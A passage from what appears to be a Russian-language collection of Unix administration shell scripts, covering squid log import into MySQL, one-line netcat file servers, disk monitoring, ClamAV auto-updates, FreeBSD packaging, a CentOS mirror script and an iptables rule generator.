        chmod 0777 $nld/prepare.log && \
        mysql -h $mh -u $mu -p$mp -e "LOAD DATA INFILE \"$nld/prepare.log\" REPLACE INTO TABLE $mb.$mt;" && \
        cat $nld/$i >> $nbd/$year/$month/$day/$prefix.log && rm $nld/$i && rm $nld/prepare.log 
    done
    echo `date +"%F %T"` "Конец выгрузки" >> $nlf
    
    Поля для таблицы ('Поле'-тип)
    
    'date'-date
    'time'-time
    'timestamp'-varchar(16)(разные сервисы пишут по разному.Кто-то с милисекундами, кто-то без)
    'elapsed'-int(20)
    'ip'-varchar(15)
    'code'-varchar(20)
    'size'-int(20)
    'method'-varchar(10)
    'url'-varchar(255)
    'user'-varchar(255)
    'direct'-varchar(25)
    'mime'-varchar(25)
    'hash'-varchar(255)unique
    
    C небольшими изменениями данный скрипт можно приспособить для обработки
    лог-файлов не только squid, но и других сервисов. Необходимое условие: 
    четкое разграничение полей (можно, поиграться с указанием разграничителей полей 
    в директиве LOAD DATA INFILE).
    К преимуществам данного скрипта можно отнести огромное быстродействие
    (п4-3,2 1024Мб ОЗУ 4млн. строк за 10-12 сек.).Также по последнему полю "hash" мы можем уникальным 
    образом идентифицировать строку (при анализе логов за год по squid и net-acct я не обнаружил 
    одинаковых строк).А также гарантированное попадание всех строк в БД
     (т.к. данные не удаляются при сбое mysql). 
    
     
    ----* HTTP сервер на BASH (доп. ссылка 1)   Автор: mahoro  [комментарии]
     
    1001-й способ поделиться файлом с коллегами: с помощью простенького HTTP-сервера, 
    
    код которого умещается в одной строке:
    
    :;while [ $? -eq 0 ];do nc -vlp 8080 -c'(r=read;e=echo;$r a b c;z=$r;while [
    ${#z} -gt 2 ];do $r z;done;
    f=`$e $b|sed 's/[^a-z0-9_.-]//gi'`;h="HTTP/1.0";o="$h 200
    OK\r\n";c="Content";if [ -z $f ];then($e $o;ls|(while $r n; do if [ -f "$n" ];
    then $e "<a href=\"/$n\">`ls -gh $n`</a><br>";fi;done););elif [ -f $f ];
    then $e -e "$o$c-Type: `file -ib $f`\n$c-Length: `stat -c%s $f`\n";cat $f;
    else $e -e "$h 404 Not Found\n\n404\n";fi)';done
    
    Этот сервер заработает на Linux, bash и с хоббитовским netcat с патчем sh-c (добавляющим опцию -c, 
    такой netcat есть во многих дистрибутивах, как минимум: в ubuntu, debian и fedora core). 
    После запуска следует зайти по адресу http://ваш_ip:8080. 
    
    При запросе корневой директории будет выведен список файлов, при запросе файла 
    будут отданы корректные заголовки Content-Length и Content-Type. Также сервер корректно 
    обрабатывает ошибку 404. Просматривать можно содержимой только текущей директории 
    и сменить ее никак нельзя.
    
    Подробнее про него можно почитать на http://alexey.sveshnikov.ru/blog/2007/08/30/bash-httpd-2/
    
     
    ----* Пример мониторинга свободного места на диске.   Автор: Hamelion  [комментарии]
     
    Наверное, все встречались, когда на том или ином разделе жесткого диска места уже нет. А
     иногда и просто забываешь проконтролировать место на диске. 
    Данный скрипт написан по принципу настроил и забыл.
    
    #!/bin/sh
    address="root@localhost";
    cicl="2 3 4 5 6";
    # выставляем в процентах порог заполненного места для каждого раздела, 
    # при котором отсылается сообщение
    predel[2]=80;	# /
    predel[3]=80;	# /usr
    predel[4]=60;	# /var
    predel[5]=80;	# /tmp
    predel[6]=80;	# /home
    varning="0";
    
    count=0;
    df -h > /tmp/tmp_df;
    while read -r FS S Ud A U MO; do
    	let count+=1;
    	FileSystem[$count]=$FS; 
    	Size[$count]=$S;
    	Used[$count]=$Ud;
    	Avail[$count]=$A;
    	Use[$count]=$U;
    	MountedOn[$count]=$MO;
    	NUse[$count]=${Use[$count]%"%"};
    done < /tmp/tmp_df;
    table="";
    for c in $cicl; do
    	if [[ ${NUse[$c]} -ge ${predel[c]} ]]; then
    		varning="1";
      table=$table"\n${FileSystem[$c]} \t${Size[$c]} \t${Used[$c]} \t${Avail[$c]}
    \t${Use[$c]} \t${MountedOn[$c]}";
    	fi
    done
    		shapka="\nFileSystem \tSize \tUsed \tAvail \tUse \tMounted On";
    		body="Regard admin, please check, place on disk:"$shapka$table;
    		#echo -e $body;
    if [ $varning -eq "1" ]; 
        then 
    	echo -e $body | mail -s"Warning on server" $address;
    	logger -i -p cron.warn -t dfmonitor "Send warning to $address";
        else
    	logger -i -p cron.info -t dfmonitor " Place on disk in rate";
    fi
    
    
    P.S. записать в cron строчку: 
    
       20 5 * * * /sbin/dfmonitor, 
    
    с утра приходим и получаем отчет :-)
    
     
    ----* Быстрая передача файла через псевдо-HTTP   Автор: mahoro  [комментарии]
     
    Когда есть необходимость передать файл с одной машины на другую, 
    а под рукой нет общедоступных ресурсов, можно сделать так:
    
        nc -l -p 8080 < file
    или
        netcat -l 8080 < file
    
    на клиенте достаточно в браузере набрать http://192.168.0.123:8080
    
    Собственно, все. Впрочем, если получатель - блондинка, которая не знает команды
    File-Save, можно написать так:
    
       (echo -e "HTTP/1.1 200\nContent-Disposition: attachment; 
       filename=gena_na.png\nContent-Type: application/octet-
       stream\nConnection: close\n"; cat vim_mrxvt.png ) | nc -vv -l -p 8080
    
    Но это еще не все. Можно дать доступ к целой директории, написав простой HTTP сервер в одной строке:
    
       while true; do nc -vv -l -p 8080 -c '( read a b c; file=`echo $b | sed 's/[^a-z0-9.]//g'`; 
       if [ a$file = "a" ]; then ( ls | (while read f; do echo "<a href=$f>$f</a><br>"; done) ); 
       else cat $PWD/$file; fi )'; sleep 1; done
    
    Этот скрипт отдает все файлы, которые есть в текущем каталоге и не позволяет его сменить. 
    В случае, если запрашивается корневая директория, то управление передается 
    своеобразному mod_index - т.е. выводится список файлов-ссылок. В конце добавлена задержка в 1 сек 
    для того, чтобы была возможность убить его нажатием Ctrl-C.
    
    См. подробнее http://alexey.sveshnikov.ru/blog/2006/12/23/http-сервер-размером-в-222-байта/
    
     
    ----* Реализация команды top на Shell   Автор: rstone  [комментарии]
     
    Должно работать на любом терминале поддерживающем VT Escape 
    последовательности, проверено в Linux, True64 ,  HP-UX  и Соларисе .
    
    #!/bin/ksh
    SLEEP=$1
    FIELD=$2
    [ -z "$1" ] && SLEEP=10 
    [ -z "$2" ] && FIELD=1
    stty_save=`stty -g`
    trap "stty $stty_save ; exit; " 2 
    stty sane
    clear
    lines=`tput lines`
    lines=$((lines-5))
    DATE=`date '+%H:%M:%S'`
    echo "\t\t`tput rev``hostname` TOP $lines PROCESESS at $DATE every $SLEEP seconds`tput sgr0`"
    tput bold
    case `uname` in
            Linux)  PS_COMMAND="ps -e -o pcpu= -o cputime= -o user= -o uid= -o pid= -o pmem= -o rssize= -o comm="
                    HEADER_COMMAND="ps f  -p $$ -o pcpu,cputime,user,uid,pid,pmem,rssize,command"
                    ;;
            HP-UX)  UNIX95=1
                    export UNIX95
                    PS_COMMAND="ps -e -o pcpu= -o time= -o user= -o uid= -o pid= -o vsz= -o sz= -o comm="
                    HEADER_COMMAND="ps -p $$ -o pcpu,time,user,uid,pid,vsz,sz,comm"
                    ;;
            SunOS)  HEADER_COMMAND="ps -f -p $$ -o pcpu,time,user,uid,pid,pmem,rss,comm"
                    PS_COMMAND="ps -e -o pcpu= -o time= -o user= -o uid= -o pid= -o pmem= -o rss= -o comm="
                    ;;
    
            *)      PS_COMMAND="ps -ef -o pcpu=,cputime=,user=,uid=,pid=,pmem=,rssize=,comm="
                    HEADER_COMMAND="ps -f -p $$ -o pcpu,cputime,user,uid,pid,pmem,rssize,command"
                    ;;
    esac
    $HEADER_COMMAND | head -1
    tput sgr0
    while [ true ] ; do 
            tput cup 2 0
            tput ed
            $PS_COMMAND | sort -r -n -k"$FIELD"  | head -$lines 
            sleep $SLEEP
    done
    
     
    ----* Автоматизация обновления антивируса ClamAV   Автор: Дима  [комментарии]
     
    Возможно поможет кому-то. Разместив в кроне, можно забыть о ручном обновлении, 
    скрипт проверит базы, при необходимости загрузит и соберет обновленную 
    версию и обновит демоны.
    
    #!/bin/bash
    #
    # ClamAV auto update routine
    #
    # Define system variables
    #
    DESTPATH="/usr/src"
    TOREPORT="root"
    OK="Ok"
    NO="Failed"
    echo >> /var/log/`basename $0`.log
    #
    # Functions library: logger stores all the events in a log file,
    # reporter emails error events to admin
    #
    function logger () {
        if [ "$1" != "n" ]; then
    	DATA="$1"
    	CMD=""
        else
    	DATA=`date +"%b %d %H:%M:%S $2"`
    	CMD="-ne"
        fi
        echo $CMD "$DATA" >> /var/log/`basename $0`.log
    }
    function reporter () {
        echo "Error $1 in `basename $0`" | mail -s "`basename $0` reporting error" $TOREPORT
        quit
    }
    #
    # Check for presence of a link to internet, need to prevent dns errors reporting by syslogd
    #
    logger n "Check for link to clamav.net: "
    IPADDR=`host clamav.net | grep address | cut -d " " -f 4`
    if [ "$IPADDR" != "" ]; then
        #
        # Check availability of the node
        #
        PINGER=`ping -c 1 $IPADDR | grep received | cut -d " " -f 4`
        if [ $PINGER == 1 ]; then
    	logger "$OK"
        else
    	logger "$NO"
    	reporter 1
        fi
    else
        logger "$NO"
        reporter 2
    fi
    #
    # Run database updater:
    #
    VERSION=`freshclam | grep "WARNING: Local" | cut -d " " -f 7`
    #
    # If warning message present, check for presence of tarball
    #
    if [ "$VERSION" != "" ]; then
        logger n "Checking presence of tarball: "
        if [ ! -e $DESTPATH/clamav-$VERSION.tar.gz ]; then
    	logger "$NO"
    	logger n "Fetching mirrors list: "
    	#
    	# No tarball found, start fetching subroutine
    	# First of all, get the mirrors list
    	#
    	MIRROR=( $(wget -q http://prdownloads.sourceforge.net/clamav/clamav-$VERSION.tar.gz?download \
       -O /dev/stdout | grep "use_mirror" | cut -d "=" -f 3 | sed -r "s/<[^>]*>//g" | cut -d "\"" -f 1))
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 3
    	else
    	    logger "${#MIRROR[@]} nodes available"
    	fi
    	#
    	# To prevent overloading of the first node in a mirrors list, select random from the list
    	#
    	NODE=$RANDOM
    	let "NODE %= ${#MIRROR[@]}"
    	logger n "Downloading v$VERSION from ${MIRROR[$NODE]} ($NODE): "
     wget -q -c -t 5
    http://${MIRROR[$NODE]}.dl.sourceforge.net/sourceforge/clamav/clamav-$VERSION.tar.gz \
    -O $DESTPATH/clamav-$VERSION.tar.gz >/dev/null 2>&1
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 4
    	else
    	    logger "$OK"
    	fi
        else
    	logger "$OK"
        fi
        #
        # Now tarball must be present, and we have to check it's condition
        #
        logger n "Checking tarball condition: "
        gzip -l $DESTPATH/clamav-$VERSION.tar.gz > /dev/null 2>&1
        if [ $? != 0 ]; then
    	logger "$NO"
    	#
    	# If we got an error message in checking of a tarball,
    	# erase it, and next time try to download fresh one
    	#
    	rm -f $DESTPATH/clamav-$VERSION.tar.gz
    	reporter 5
        else
    	logger "$OK"
    	cd $DESTPATH/
    	logger n "Unpacking: "
    	#
    	# Ok, gzip reported that's tarball is ok, now unpacking it
    	#
    	tar -xzf clamav-$VERSION.tar.gz >/dev/null 2>&1
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 6
    	else
    	    logger "$OK"
    	fi
    	logger n "Configuring: "
    	cd $DESTPATH/clamav-$VERSION
    	#
    	# Below are standard procedures of configuring, assembling and installing of the package
    	#
    	./configure > /dev/null 2>&1
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 7
    	else
    	    logger "$OK"
    	fi
    	logger n "Compiling: "
    	make > /dev/null
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 8
    	else
    	    logger "$OK"
    	fi
    	logger n "Installing: "
    	make install > /dev/null 2>&1
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 9
    	else
    	    logger "$OK"
    	fi
    	logger n "Check old daemon: "
    	#
    	# Now we have to swap old smtpd daemon to new
    	# If old daemon is preset - kill'em
    	#
    	PID=`ps -eo pid,comm | grep clamd | sed -r "s/^\ //" | cut -d " " -f 1`
    	if [ "$PID" != "" ]; then
    	    logger "$OK"
    	    logger n "Killing old daemon ($PID): "
    	    kill -9 $PID
    	    if [ $? != 0 ]; then
    		logger "$NO"
    		reporter 10
    	    else
    		logger "$OK"
    	    fi
    	else
    	    logger "$NO"
    	fi
    	logger n "Starting new daemon: "
    	#
    	# Now memory is clear from old daemon and we're running the new one
    	#
    	/usr/local/sbin/clamd & > /dev/null 2>&1
    	if [ $? != 0 ]; then
    	    logger "$NO"
    	    reporter 11
    	else
    	    logger "$OK"
    	fi
    	#
    	# Arter all of these, we have to run database updater again
    	#
    	logger n "Checking for newer database: "
    	freshclam > /dev/null 2>&1
    	if [ $? != 1 ]; then
    	    logger "$NO"
    	    reporter 12
    	else
    	    logger "$OK"
    	fi
    	#
    	# At this stage, we have new antivirus installed, databases are up to date
    	# and ready to protect our system
    	#
        fi
    else
        logger n "ClamAV is up to date"
        logger ""
    fi
    #
    # I did not find any benefits to run freshclam in a daemon mode using switch -d.
    # Running once for a 4, 6 or whatever hours, it takes system resources for 24 hours, 7 days
    # I think better is to use this script and run it with cron daemon (crontab) as
    a foreground process
    # within the same time range
    #
    # Dima.
    
     
    ----* Автоматизация послеустановочной настройки MySQL   Автор: Alexey Tsvetnov  [комментарии]
     
    #!/bin/sh
    #
    # mysql-after-setup
    # Copyright (c) 2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    # Version: 1.4
    #
    # Run script after install MySQL to do:
    # 1. Drop database 'test'
    # 2. Set MySQL root password
    # 3. Delete all users and access except root@localhost
    #
    
    # tty echo off
    stty -echo
    
    # enter correct password
    while true
    do
        echo -n "Enter password: " && read pass1 && echo
        echo -n "Re-enter password: " && read pass2 && echo
        [ "${pass1}" = "${pass2}" ] && break
        echo " *** Error!"
    done
    
    # tty echo on
    stty echo
    
    echo "drop database test; delete from db where db like '%test%';\
          update user set password=PASSWORD('$pass1') where user='root' and host='localhost';\
          delete from user where password='';\
          flush privileges;" | mysql -h 127.0.0.1 -u root mysql && echo "Done successfuly."
    
    exit 0
    
     
    ----* Скрипт для создания всех пакетов, требуемых по зависимостям, для порта в ОС FreeBSD   Автор: Alexey Tsvetnov  [комментарии]
     
    По сути, выполняет действия, аналогичные pkg_create с ключём -R, который
    появился только в FreeBSD 6.x.
    Однако данный скрипт позволяет указывать короткое имя порта и каталог, 
    в котором создавать пакеты. А главное, он работает и на тех системах, 
    где pkg_create не поддерживает ключ -R.
    
    #!/bin/sh
    #
    # pkg_depend
    # Create all packages (with dependence) needed by some port for FreeBSD 5.x+
    #
    # Version: 1.4
    # Copyright (c) 2005,2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    #
     
    # Path to packages directory
    pkgpath="/usr/ports/packages/All"
     
    # Command for get package's version
    pkgvercmd="pkg_version -v"
    #pkgvercmd="portversion -v"              # more faster than pkg_version
     
    getdepend()
    {
        [ ! -d $2 ] && echo -n "Creating directory ($2)..." && mkdir -p $2 && echo "Done."
     
        cd ${pkgpath}
        if [ ! -f ${pkgpath}/$1.tbz ]; then
            echo -n "Creating package ($1)..."
            pkg_create -yb $1
            echo "Done."
        fi
     
        echo -n "Copying package ($1)..."
        cp -f ${pkgpath}/$1.tbz $2
        echo "Done."
     
        for LINE in `pkg_info -r $1 | grep Dependency\: | awk '{print $2}'`
        do
            if [ ! -f ${pkgpath}/${LINE}.tbz ]; then
                echo -n "Creating package (${LINE})..."
                pkg_create -yb ${LINE}
                echo "Done."
            fi
            echo -n "Copying package (${LINE})..."
            cp -f ${pkgpath}/${LINE}.tbz $2
            echo "Done."
        done
    }
     
    gethelp()
    {
        echo ""
        echo "Usage: `basename $0` <Full/Short pkg_name> <Directory>"
        echo ""
        echo "If specify short package name script will get first find entry"
        echo ""
        echo "Example: `basename $0` dia-gnome-0.94_4,1 /tmp/pkg/"
        echo "         `basename $0` dia-gnome /tmp/pkg/"
        echo ""
        exit 1
    }
     
    main()
    {
    if [ "$2" = "" ]; then gethelp
     else
        echo -n "Checking package name ($1)..."
        if [ "`echo $1 | grep '\-[0-9]'`" = "" ]; then
            pkgname=`${pkgvercmd} | grep -E '^'$1'-[0-9].*' | awk '{print $1}' | head -1`
        else
            pkgname=`${pkgvercmd} | grep $1 | awk '{print $1}' | head -1`
        fi
        echo "Done."
     
        if [ "${pkgname}" = "" ]; then
            echo "Package '$1' not found! Exit."
            exit 2
        else
            getdepend ${pkgname} $2
        fi
    fi
    }
     
    main $1 $2
     
    exit 0
    
     
    ----* Локальный репозитарий CentOS через HTTP proxy   [комментарии]
     
    До появления прямого соединения с интернетом (провайдером был открыт только http), 
    было довольно проблематично поддерживать локальный репозитарий пакетов в актуальном состоянии.
    Для выхода из подобной ситуации был написан следующий скрипт,
     который в некотором приближении заменяет rsync.
    
    #!/bin/sh
    
    cd /opt/rpm-update
    #mirror_base_url=http://ftp.belnet.be/packages/centos/4.3/os/i386/CentOS/RPMS/
    #mirror_update_url=http://ftp.belnet.be/packages/centos/4.3/updates/i386/RPMS/
    
    mirror_base_url=$1
    local_rpm_directory=$2
    
    #local_rpm_directory=/var/ftp/pub/centos-4.3/
    
    file_html=./index.html
    file_rpms=./files.log
    
    rm -f $file_html
    rm -f $file_rpms
    
    echo "---------------------------------------------------------"
    echo "obtaining file list from $mirror_base_url ..."
    wget -q --no-cache $mirror_base_url
    echo "ok."
    
    cut -d"=" $file_html -f4 | cut -d"\"" -f2 | grep rpm | sort > $file_rpms
    
    a=`cat $file_rpms`
    for cur_rpm in $a
    do
        cur_rpm_file=$local_rpm_directory$cur_rpm
        if [ -e $cur_rpm_file ]
        then
            echo "$cur_rpm exist." > /dev/null
        else
            echo "downloading  $cur_rpm ..."
            wget -q --no-cache $mirror_base_url$cur_rpm
            echo "ok."
            mv ./$cur_rpm $local_rpm_directory
        fi
    done
    
    rm -f $file_html
    rm -f $file_rpms
    
    
    
    и вызов этого скрипта
    
    #!/bin/sh
    
    echo "***** run4 START ***** " >> /var/log/rpm_update4
    
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/updates/i386/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/os/i386/CentOS/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/extras/i386/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    
    echo "generating headers..." >> /var/log/rpm_update4
    yum-arch -q /var/ftp/pub/centos-4.3/
    echo "ok." >> /var/log/rpm_update4
    
    echo "generating repo..." >> /var/log/rpm_update4
    createrepo -q /var/ftp/pub/centos-4.3/
    echo "ok." >> /var/log/rpm_update4
    
    echo "***** run4 STOP ***** " >> /var/log/rpm_update4
    
    
    вызывается по крону, если на сервере появились свежие пакеты, быстренько
    заливает их в локальный репозитарий.
    
     
    ----* Скрипт для автоматизации создания бинарных пакетов для FreeBSD   Автор: Alexey Tsvetnov  [комментарии]
     
    #!/bin/sh
    #
    # Create all packages with sym-links for FreeBSD 5.x+
    #
    # Version: 1.2.2
    # Copyright (c) 2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    #
    # All error in  /var/log/<script_name>.err
    #
    
    # Path to packages directory
    packagespath="/usr/ports/packages"
    
    # Command for get package's version
    pkgvercmd="/usr/sbin/pkg_version -v"
    #pkgvercmd="/usr/local/sbin/portversion -v"	# more faster than pkg_version
    
    #-------------------------------------------------------------------------------
    
    err="\033[0;40;31mError\033[0m"
    ok="\033[1;40;33mOk\033[0m"
    
    
    checkPackagesPath ()
    {
        [ -d $packagespath ] || { /usr/bin/printf " *** $err: $packagespath doesn't exist.\n"; 
    			      /bin/echo " *** Error: $packagespath doesn't exist." > /var/log/`basename $0`.log; 
    			      exit 1; }
        [ -d $packagespath/All ] || { /bin/mkdir $packagespath/All || exit 1; }
        [ -d $packagespath/Latest ] || { /bin/mkdir $packagespath/Latest || exit 1; }
        return 0
    }
    
    checkPkgAll ()
    {
        [ -f $packagespath/All/$fullname.tbz ] && return 0
        return 1
    }
    
    checkPkgLatest ()
    {
        [ -L $packagespath/Latest/$shortname.tbz ] && [ -r $packagespath/Latest/$shortname.tbz ] && return 0
        return 1
    }
    
    checkPkgCat ()
    {
        [ -L $packagespath/$subdir/$fullname.tbz ] && [ -r $packagespath/$subdir/$fullname.tbz ] && return 0
        return 1
    }
    
    createPkgAll ()
    {
        /usr/sbin/pkg_create -jb $fullname $packagespath/All/$fullname.tbz && return 0
        return 1
    }
    
    createPkgLatest ()
    {
        /bin/rm -f $packagespath/Latest/$shortname.tbz
        cd $packagespath/Latest && /bin/ln -s ../All/$fullname.tbz $shortname.tbz && return 0
        return 1
    }
    
    createPkgCat ()
    {
        if [ -d $packagespath/$subdir ]; then
    	/bin/rm -f $packagespath/$subdir/$fullname.tbz
        else
    	/bin/mkdir -p $packagespath/$subdir
        fi
    
        cd $packagespath/$subdir && /bin/ln -s ../All/$fullname.tbz $fullname.tbz && return 0
        return 1
    }
    
    getPkgFullVersion ()
    {
        echo -n "Geting full version package list..."
        pkglist=`$pkgvercmd | /usr/bin/awk '{print $1}'`
        /usr/bin/printf "$ok\n"
    }
    
    work ()
    {
     for fullname in $pkglist; do
        /bin/echo "Check $fullname"
    
        shortname=`/bin/echo $fullname | /usr/bin/sed 's/\-[^-]*$//'`
        subdir=`/usr/sbin/pkg_info -o $fullname | /usr/bin/sed -e '1,3d' -e '$d' | /usr/bin/awk -F/ '{print $1}'`
    
        if ! checkPkgAll; then
    	/bin/echo -n " ==> Create package..."
    	if createPkgAll; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	/bin/echo -n " ==> Create Latest sym-link..."
    	if createPkgLatest; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	/bin/echo -n " ==> Create Category sym-link..."
    	if createPkgCat; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	continue
        fi
    
        if ! checkPkgLatest; then  
    	/bin/echo -n " ==> Create Latest sym-link..."
    	if createPkgLatest; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
        fi
    
        if ! checkPkgCat; then  
    	/bin/echo -n " ==> Create Category sym-link..."
    	if createPkgCat; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
        fi
     done
    }
    
    main ()
    {
        exec 2>/var/log/`basename $0`.log
    
        checkPackagesPath
        getPkgFullVersion
        work
    
        exec 2>&-
    }
    
    main
    
    exit 0
    
     
    ----* Скрипт для упрощения монтирования CD-ROMа   Автор: Антон  [комментарии]
     
    Вот такой простой скрипт:
    
    #!/bin/sh
    retval=`/sbin/mount | grep /mnt/cdrom`
    if [ -n "$retval" ];
    then 	/sbin/umount /mnt/cdrom 1> /dev/null 2> /dev/null
    	if [ "$?" -ne 0 ]; 
    	    then echo "Не могу размонтировать CDROM"
    	else echo "Размонтировал CDROM"
    	eject /dev/cdrom	
    	fi
    else	/sbin/mount /dev/cdrom 1> /dev/null 2> /dev/null
    	if [ "$?" -ne 0 ];
    	    then echo "Не могу смонтировать CDROM"
    	else echo "Примонтировал CDROM"
    	fi	
    fi
    
    
    П.С. копируем в каталог /sbin под именем cdm. Сам определяет состояние
    
     
    ----* Как прикрепить 48x48 иконку к письму (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Содержимое черно-белой 48x48 иконки передается через заголовк X-Face, цветной - Face 
    (PNG картинка, размером после base64 кодирования не больше 998 байт, разбивка
    по 79 символов в строке).
    
    Скрипт для преобразования Jpeg в "Face:"
    
    #!/bin/bash
    
    jpg=$1
    png=$2
    
    if [ "$jpg" = "" -o "$png" = "" ]; then
       echo "Usage: make-face <JPG-FILE> <BASE64-FILE>"
       exit
    fi
    
    quant=16
    found=false
    tmp=/tmp/make-face.$$.tmp
    
    while [ "$found" = "false" ]; do
        echo -n "Trying quantization $quant ($jpg)..."
        djpeg "$jpg"\
    	| ppmnorm\
    	| pnmscale -width 48 -height 48\
    	| ppmquant $quant\
    	| pnmtopng\
    	| mimencode > $tmp
        size=`ls -l $tmp | awk '{ print $5; }'`
        if [ $size -lt 993 ]; then
    	echo -n "Face:" > "$png"
    	for i in `cat $tmp`; do
    	    echo -n " " >> "$png"
    	    echo "$i" >> "$png"
    	done
    	rm $tmp
    	found=true
    	echo "done"
        else
    	quant=`expr $quant - 2`
    	echo "too big ($size)"
        fi
    done
    
        
    
     
    ----* Скрипт для автоматизации настройки iptables фильтра для локальной сети (доп. ссылка 1)   Автор: Константин Брызгалов  [комментарии]
     
    На разных машинах в моей локальной сети накопилась куча программ,
    которым нужен был выход в интернет напрямую. У каждой свой набор портов.
    Захотелось на входе иметь минимальную конфигурацию, описывающую
    ресурсы, а на выходе набор разрешающих  правил для iptables.
    В основном были клиент-банки - поэтому и такая терминология в программе.
    А так вместо банка можно указывать любой ресурс в формате определенном в
    man iptables.
    
    Ограничения, недостатки:
    
    1. использование количества портов для одного ресурса менее 16
    2. нельзя указать диапазон портов через двоеточие как в iptables
    Оба легко устаняются: первое - есть пример в самом скрипте, 
    второе через использование другого разделителя для записей на входе, 
    проверку наличия ":" - использование другого формата вызова iptables. Мне это
    не нужно и код не хотел раздувать.
    
    
    #!/bin/bash
    #bkv 2005.10
    #Дано: 
    #  Два списка:
    #  Первый список из записей вида - банк:порты(через запятую)
    #  Второй список из записей вида - клиент:банки(через запятую)
    #Найти: 
    #  Набор разрешающих правил iptables для forward
    #Примечания:
    #  политика FORWARD по умолчанию - "запрещено все, что не разрешенно"
    #  iptables поддерживает одновременное указание не более 15 портов
    #Решение: 
    #  Создадим отдельную цепочку, например, - CLIENTBANK
    #  Сгенерируем необходимые правила и поместим их в цепочку CLIENTBANK
    #  Обращения по всем портам из первого списка направим на обработку в CLIENTBANK
    #  Перед выполнением все правила связаные с цепочкой CLIENTBANK удалим, чтобы не плодить 
    #    правила от многократного запуска
    
    itls="/sbin/iptables"
    
    #Подаем список на обработку awk
    #признак первого списка - первое поле BankPorts
    #признак второго списка - первое поле ClientBanks
    echo -e "\
    BankPorts:smtp.mail.ru:25\n\
    BankPorts:10.24.70.0/26:22,23\n\
    BankPorts:pop.mail.ru:110\n\
    BankPorts:bank4.ru:9999,888\n\
    BankPorts:bank5.ru:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15\n\
    BankPorts:bank6.ru:21,22,23,24,25,26,27,28,29,210,211,212,213,214,215\n\
    ClientBanks:192.168.9.0/16:smtp.mail.ru,pop.mail.ru,10.24.70.0/26\n\
    ClientBanks:192.168.9.8:bank4.ru,bank5.ru,bank6.ru\n\
    ClientBanks:192.168.9.6:bank6.ru,bank4.ru\n\
    "|\
    awk -v itls=$itls -F: '{
      if($0~/^BankPorts/) BankPorts[$2]=$3 #создаем ассоциативный массив - индекс:банк, значение:порты через запятую
      if($0~/^ClientBanks/) ClientBanks[$2]=$3 #аналогично клиент -> банки
    }END{
    #Cгенерируем _необходимые_ правила для цепочки CLIENTBANK
    for (client in ClientBanks){
      split(ClientBanks[client],bank_arr,",") #поместили в массив bank_arr адреса банков для клиента
      for(i in bank_arr){
          all_ports=all_ports","BankPorts[bank_arr[i]] #создаем список всех портов для дальнейшего использования
          count_ports=split(BankPorts[bank_arr[i]],tmp_arr,",")
          if(count_ports > 15)
            print "echo Слишком много портов для "bank_arr[i]".Допиши программу.Выход&&exit 1"
           else
            printf("%s -A CLIENTBANK -s %s -d %s -p tcp -m multiport --dports %s -j ACCEPT\n",itls,client,bank_arr[i],BankPorts[bank_arr[i]])
          }
    }
    
    #Создадим правила перенаправляющие из FORWARD на обработку в CLIENTBANK, помня
    про ограничение в 15 портов
    sub(",","",all_ports) #отрезаем первую запятую у списка всех использующихся портов
    split(all_ports,all_ports_arr,",")#поместили в массив all_ports_arr все порты какие есть
    j=1;i=1
    while(all_ports_arr[i]){
      while(i<=(j*15)){
        if (all_ports_arr[i]) 
          tmp_all_ports=tmp_all_ports","all_ports_arr[i]
        i++
        }
      sub(",","",tmp_all_ports) #отрезаем первую запятую
      printf("%s -I FORWARD -p tcp -m multiport --ports %s -j CLIENTBANK\n",itls,tmp_all_ports)
      tmp_all_ports=""
      j++
      }
    
    print itls" -A CLIENTBANK  -p tcp -m state --state ESTABLISHED -j ACCEPT"
    print itls" -N CLIENTBANK"
    print itls" -X CLIENTBANK"
    print itls" -F CLIENTBANK"
    
    #Удаляем из FORWARD все цепочки содержащие цель CLIENTBANK
    del_rules_nums="'`$itls --line-numbers -L FORWARD -n|grep CLIENTBANK|cut -f1 -d" "|tr "\n" ","`'"
    split(del_rules_nums,del_rules_arr,",")
    cnt_rules=1
    while(del_rules_arr[cnt_rules]){
      printf("%s -D FORWARD %s\n",itls,del_rules_arr[cnt_rules])
      cnt_rules++
      }
    
    }'|tac > gen.itls.sh
    chmod 700 gen.itls.sh
    echo "Команды сгенерированы в файл ./gen.itls.sh .Выход."
    exit
    ./gen.itls.sh
    rm ./gen.itls.sh
    
     
    ----* Скрипт для восстановления процессов на случай сбоя   Автор: Yurik  [комментарии]
     
    Иногда случается, что при сбое (например при большой нагрузке или при временном отсутствии 
    каналов связи) важные демоны самостоятельно завершают свою работу.
    Например может случаться вот такая ошибка
        squid[703]: Exiting due to repeated, frequent failures
    Такое же может иногда случаться с IPA (/usr/ports/sysutils/ipa) и Apache.
    
    Чтобы автоматизировать отслеживание таких процессов можно создать
    `crontab -e` задание (на примере Squid)
    
       5,35 * * * * /usr/local/etc/rc.d/checksquid
    
    
    ./checksquid:
    
       proc="squid"
    
       PIDFILE=/var/run/${proc}.pid
       if [ -f $PIDFILE ] ; then
            PID=`head $PIDFILE`
